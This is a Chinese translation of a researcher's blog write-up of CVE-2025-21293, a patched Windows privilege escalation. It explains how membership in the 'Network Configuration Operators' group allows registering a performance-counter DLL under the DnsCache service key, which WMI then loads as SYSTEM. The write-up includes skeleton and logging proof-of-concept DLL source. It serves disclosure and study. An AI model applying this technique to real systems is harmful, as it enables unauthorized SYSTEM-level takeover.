Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)

Active Directory Domain Services 权限提升漏洞 (CVE-2025-21293)

BirkeP securitainment 2025-02-03 02:24

【翻译】Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2025-21293)  A tale of mediocracy 

引言

2024 年 9 月,在一次客户项目中,我遇到了 “Network Configuration Operators” 组,这是 Active Directory 的一个内置组(默认)。由于我之前从未听说或遇到过这个组成员身份,它立即引起了我的注意。最初,我试图查找它是否存在任何安全隐患,就像它更为人知的 DNS Admins 和 Backup Operators 组一样,但没有找到任何相关信息。关于这个组的信息出奇地少,但我忍不住进行了深入研究。这让我深入研究了 Registry Database 访问控制列表和武器化的可能性,最终发现了
CVE-2025-21293
。在进入正文之前,我要特别感谢 Clément Labro,他最初在寻找武器化 performance counters 方面做了大量工作(希望在文章结束时这一点会更有意义),以及我在 ReTest Security ApS 的同事们,他们为我提供了该领域的知识和实践机会。

Network Configuration Operators

“Network Configuration Operators” 组是所谓的默认 Active Directory 安全组之一。当你设置本地域控制器时,该组和其他类似组会自动创建。

Microsoft Learn Documentation

我找到了这篇存档文章,据我了解,这是最初详细介绍 “Network Configurations Operators” 组的引入和功能的原始文章,日期是 2007 年。从文章中可以清楚地看出,该组旨在为用户提供操作其机器网络接口的权限,但不给予完全的本地管理员权限。表面上看这是合理的,但由于某种原因,Microsoft 让这个旧的内置组在系统上保留了过多权限。
存档 KB 文章

whoami /groups
的输出

Whoamigroups

CreateSubKey

我解析了 Registry 数据库访问控制列表,发现用户组访问控制列表权限中存在一个异常,该组对两个敏感的服务相关 Registry 键(DnsCache 和 NetBT)持有 “CreateSubKey” 属性。

Registry rights

根据 
Registry Key Security and Access Right

文档,KEY_CREATE_SUB_KEY
属性仅用于在现有 registry 键下创建子键。

只有当引入下一个谜题部分时,这才变得有趣。因为 Windows 允许其用户使用系统服务和应用程序的Performance Data

武器化 Performance Counters

从高层次来看,Performance Counters 功能通过 
Performance counter consumers
(如我们示例中的 PerfMon.exe 或 WMI)从系统上的服务和应用程序中检索和处理数据。对我们来说,这意味着能够在系统上运行代码,并在 WMI 服务(NT\SYSTEM)的安全上下文中运行。但首先让我们分析如何注册 Performance Counter。

OpenPerformanceData Documentation

要注册性能监控例程,程序员必须注册 4 个 registry 子键:
– Library(你的 performance DLL 的名称)

  • Open(你的 DLL 中 Open 函数的名称)

  • Collect(你的 DLL 中 Collect 函数的名称)

  • Close(你的 DLL 中 Close 函数的名称)

通过在 DnsCache 服务 Registry 键下注册子键,如下例所示,我们已成功映射了 Performance Counter。

Registry tree registered

概念验证代码

以下是 Performance Counter DLL 的框架,包含必要部分但不包含任何逻辑。

#include <Windows.h>// Exported functions for Performance Counterextern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();// Example implementation of the Open functionDWORD APIENTRY OpenPerfData(LPWSTR pContext){    // Implement logic for initializing the performance counter    return ERROR_SUCCESS; // Return success}// Example implementation of the Collect functionDWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){    // Implement logic for collecting performance data    // Populate ppData, pcbData, and pObjectsReturned as needed    return ERROR_SUCCESS; // Return success}// Example implementation of the Close functionDWORD APIENTRY ClosePerfData(){    // Implement logic for cleaning up resources or closing the performance counter    return ERROR_SUCCESS; // Return success}// DLL Entry Pointextern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){    switch (reason)    {    case DLL_PROCESS_ATTACH:        // Implement initialization logic for when the DLL is loaded        break;    case DLL_THREAD_ATTACH:        // Optional: Logic for thread initialization        break;    case DLL_THREAD_DETACH:        // Optional: Logic for thread cleanup        break;    case DLL_PROCESS_DETACH:        // Implement cleanup logic for when the DLL is unloaded        break;    }    return TRUE;}

由于 Itm4n 已经探索过利用 performance counters 的路径,我借鉴了他的工作成果和概念验证代码,这些代码能够优雅地记录 DLL 中导出函数的执行上下文。这是他在 2020 年博客文章中分享的实现。

#include <iostream>#include <Windows.h>#include <Lmcons.h> // UNLEN + GetUserName#include <tlhelp32.h> // CreateToolhelp32Snapshot()#include <strsafe.h>extern"C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);extern"C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);extern"C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();void Log(LPCWSTR pwszCallingFrom);void LogToFile(LPCWSTR pwszFilnema, LPWSTR pwszData);DWORD APIENTRY OpenPerfData(LPWSTR pContext){    Log(L"OpenPerfData");    return ERROR_SUCCESS;}DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned){    Log(L"CollectPerfData");    return ERROR_SUCCESS;}DWORD APIENTRY ClosePerfData(){    Log(L"ClosePerfData");    return ERROR_SUCCESS;}void Log(LPCWSTR pwszCallingFrom){    LPWSTR pwszBuffer, pwszCommandLine;    WCHAR wszUsername[UNLEN + 1] = { 0 };    SYSTEMTIME st = { 0 };    HANDLE hToolhelpSnapshot;    PROCESSENTRY32 stProcessEntry = { 0 };    DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;    BOOL bResult = FALSE;    // Get the command line of the current process    pwszCommandLine = GetCommandLine();    // Get the name of the process owner    GetUserName(wszUsername, &dwPcbBuffer);    // Get the PID of the current process    dwProcessId = GetCurrentProcessId();    // Get the PID of the parent process    hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    stProcessEntry.dwSize = sizeof(PROCESSENTRY32);    if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {        do {            if (stProcessEntry.th32ProcessID == dwProcessId) {                dwParentProcessId = stProcessEntry.th32ParentProcessID;                break;            }        } while (Process32Next(hToolhelpSnapshot, &stProcessEntry));    }    CloseHandle(hToolhelpSnapshot);    // Get the current date and time    GetLocalTime(&st);    // Prepare the output string and log the result    dwBufSize = 4096 * sizeof(WCHAR);    pwszBuffer = (LPWSTR)malloc(dwBufSize);    if (pwszBuffer)    {        StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",            st.wHour,            st.wMinute,            st.wSecond,            dwProcessId,            dwParentProcessId,            wszUsername,            pwszCommandLine,            pwszCallingFrom        );        LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);        free(pwszBuffer);    }}void LogToFile(LPCWSTR pwszFilename, LPWSTR pwszData){    HANDLE hFile;    DWORD dwBytesWritten;        hFile= CreateFile(pwszFilename, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);    if (hFile != INVALID_HANDLE_VALUE)    {        WriteFile(hFile, pwszData, (DWORD)wcslen(pwszData) * sizeof(WCHAR), &dwBytesWritten, NULL);        CloseHandle(hFile);    }}extern"C"BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved){    switch (reason)    {    case DLL_PROCESS_ATTACH:        Log(L"DllMain");        break;    case DLL_THREAD_ATTACH:        break;    case DLL_THREAD_DETACH:        break;    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

最终阶段

一旦 Registry 键被映射且 DLL 位于磁盘上(或理论上位于网络可达的某个位置),就到了启动并期待成功的时候了。现在请记住我之前提到过 Perfmon.exe 作为 Performance Counter Consumer,通过 Explorer 启动 Perfmon.exe 实用程序,在下面截图中显示的界面中,我们可以看到我们的日志记录功能的执行。

Perfmon.exe GUI

当前用户的安全上下文是执行 Perfmon.exe 的上下文,因此这并没有什么特别令人兴奋的地方。当然,除了证明我们正确实现了 Performance Counter。

执行已记录

现在,在这种情况下武器化 Performance Counter 依赖于使用 WMI 作为 Consumer 来查询 Performance Counters,

WMI 作为 Consumer

从截图中可以清楚地看到,恶意 DLL 已在 SYSTEM\安全上下文中执行。这是本博客中的最终证明,确认了在 2025 年 1 月 14 日通过引入 1 月安全更新修复 “Network Configuration Operators” 组之前,在特定条件下成功突破系统完整性的可能性。

执行已记录 2

最终思考

这个意外的任务既有趣又是一次很好的学习经历。它确实激励我更深入地学习和研究 Windows 内部机制。随着 1 月安全更新的发布,这个特定的路径已被修补,现在 “CreateSubKey” 权限似乎不再附带 “Set value” 权限,后者允许将键名更改为 “Performance”,这是利用的初始条件。